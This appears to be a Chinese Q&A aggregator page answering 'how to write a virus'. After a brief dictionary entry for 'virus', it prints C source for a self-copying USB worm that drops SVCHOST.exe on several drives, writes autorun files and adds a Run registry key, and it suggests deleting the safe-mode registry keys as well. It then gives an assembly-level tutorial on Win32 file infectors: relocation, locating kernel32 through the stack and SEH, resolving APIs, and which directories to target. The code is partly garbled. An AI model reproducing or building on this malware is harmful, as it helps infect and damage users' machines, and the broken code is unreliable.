本文目录一览

1,病毒的英文单词是怎么写的

virus 英[?va?r?s] 美[?va?r?s] n. 病毒; 病毒性疾病; 毒素,毒害; [计算机科学] 计算机病毒; [例句]There are many different strains of flu virus.流感病毒有很多不同类型。[其他] 复数:viruses

病毒的英文单词是怎么写的

2,如何用C语言写病毒

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.本病毒的功能:1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件2.在C、D、E盘中生成自动运行文件3.注册c:\windows\system\svchost.exe,使其开机自动运行4.在C:\windows\system下生成隐蔽DLL文件5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究/* SVCHOST.C *//* SVCHOST.EXE */#define SVCHOST_NUM 6#include<stdio.h>#include<string.h>char *autorun=char *files_autorun[10]=char *files_svchost[SVCHOST_NUM+1]="c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe","c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile) FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL)) while(!feof(input)) fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1;}int main(void) FILE *input,*output; int i,k; for(i=0;i<3;i++) output=fopen(files_autorun[i],"w"); fprintf(output,"%s",autorun); fclose(output); } for(i=0;i<=SVCHOST_NUM;i++) if((input=fopen(files_svchost[i],"rb"))!=NULL) fclose(input); for(k=0;k<SVCHOST_NUM;k++) copy(files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM+1; } } system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */ return 0;} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式; 警告:不会修改注册表的人;别运行本程序...

如何用C语言写病毒

3,病毒是怎么写出来的

汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:一 代码重定位二 自己找到所需API地址三 搜索文件、目录四 感染文件五 破坏系统或文件(随便你了)其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。(一)代码的重定位一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,在写程序时考虑到这个问题,可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。Call getbaseaddressGetbaseaddress:pop ebxSub ebx,offset getbaseaddressMov eax,dword ptr [ebx+Var1]如果使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。(二)自己取得所需的API地址一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它被插入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win32下,代码或数据的开始位置总是页面单位(windows平台下为4kb)对齐的。Kernel32.dll是一个PE文件,按比较PE文件dos签名标志和PE签名标志的方法找。另外还有个办法是通过SHE技术找。这是最好的办法了,前一个办法因为堆栈是动态的原因不稳定,一般只能将获取地址的代码块放在最开头,这个方法完全是与堆栈无关的,放在哪里执行都不会出错,如果你的病毒需要用一些远程线程之类的技术,最好用这个方法。SHE结构,第一个成员指向下一个SEH结构,如果是最后一个那么它的值就是0ffffffffh。第二个成员指向异常处理函数,如果是最后一个SHE结构且没有指定的话,缺省的是SetUnhandlederExceptionFilter函数地址。当异常触发这个函数时就会弹出一个对话框,问你发不发送错误。98下显示蓝屏。这个函数是包含在KERNEL32.dll中的,只要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在说SHE时总忘不了TEB,TEB是创建一个线程时分配的线程相关的数据结构,SHE只是它开头第一个数据结构体而已。它还包含了其他许多重要的东西,TEB由FS段选择器指向,有兴趣的查查资料,这里篇幅原因就不再多说了。接着上面的,看看如何找SetUnhanderExceptionFilter函数地址。先根据“下一个”SHE结构的值定位到最后一个SHE结构,这时取出she处理函数的地址,就是SetUnHandleredEceptionFilter函数地址了,以页面为单位向上找就可以找到Kernel32.dll了/得到Kernel32.dll的基地址后,定位到它的导出表,找出GetProcAddress地址再利用GetProcAddress就能找到其他任何所需要的函数了。在搜索API时应该注意API的名字,API的名字实际的导出名字很有可能不是你调用时的名字,windows下很多API都有两个版本ANSI版和UNICODE版,ANSI版函数名后缀带个A,比如CreateWindowExA,,而UNICODE版的函数名带个W后缀,比如CreateWindowExW。不过考虑到麻烦问题,现有的很多编译器都不让你写后缀,只是在编译的时候根据你程序是ANSI版的还是UNICODE版的自动改名字。Win2K以后的API函数都是Unicode 版本的,如果调用ANSI版本的函数,系统只是将函数中的字符串通过进程默认堆将其转换成Unicode字符串,再调用Unicode版的API。Unicode是个发展方向,大家应该养成使用它的习惯而不是ANSI。(三)搜索文件、目录 主要是用FindFirstFile,FindNextFile,FindClose.这三个函数实现。值得注意的是在用“*.*”搜索字符串时得到的是程序文件所在目录的所有文件和目录。而GetCurrentDirectory取得的是系统当前的目录。后者是随时会随着用户的操作而改变的,前者只会随着目标程序文件的位置改变而改变。搜索需要感染的目录和文件时应该重点搜索windows安装目录(GetWindowsDirectory),系统目录(GetSystemDIrectory),当前目录(GetCurrentDirectory) ,当然程序当前目录也是不可放过的,比如,把QQ感染了,QQ目录底下那么多常常使用的程序文件,比如珊瑚虫外挂,邮箱工具等等都是你的盘中餐了。最喜欢感染的地方还是系统中各个进程所在的目录,那些才是用户最常用的,我的遂宁一号病毒是通过代码插入的办法做到这点的,很麻烦,且很不稳定。常常莫名其妙的使被插入进程在插入时结束掉,虽然可以用SHE避免,但是还是没多大效果。(四)感染文件所谓感染就是将病毒程序的代码插入到目标程序中,然后让目标程序先执行病毒程序的代码。

病毒是怎么写出来的


文章TAG:怎么写病毒怎么  病毒  英文  
下一篇